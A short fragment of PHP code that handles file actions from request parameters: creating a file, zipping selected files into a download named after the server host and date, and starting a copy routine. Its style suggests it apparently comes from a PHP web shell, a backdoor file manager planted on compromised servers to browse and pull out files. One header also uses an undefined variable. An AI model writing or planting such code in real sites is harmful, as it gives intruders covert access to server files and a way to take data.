if (file_exists($p['a'] . $p['b'])) { sAjax(tText('alredyexists', 'object alredy exists')); } else { $fp = @fopen($p['a'] . $p['b'], 'w'); if ($fp) { @fclose($fp); sAjax('OK'); } else { sAjax(tText('accessdenied', 'Access denied')); } } break; case 'comp': if ($p['dl']) { $zip = new PHPZip(); $zip->Zipper($p['fl'], $p['dl']); header('Content-Type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: ' . strlen($compress)); header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_' . date('Ymd-His') . '.zip'); echo $zip->file(); exit; } break; case 'copy': if ($p['dl']) { $fNames = array(); $total = count($p['dl']); if ($p['b'][strlen($p['b']) - 1] !== DS) { $p['b'] .= DS; }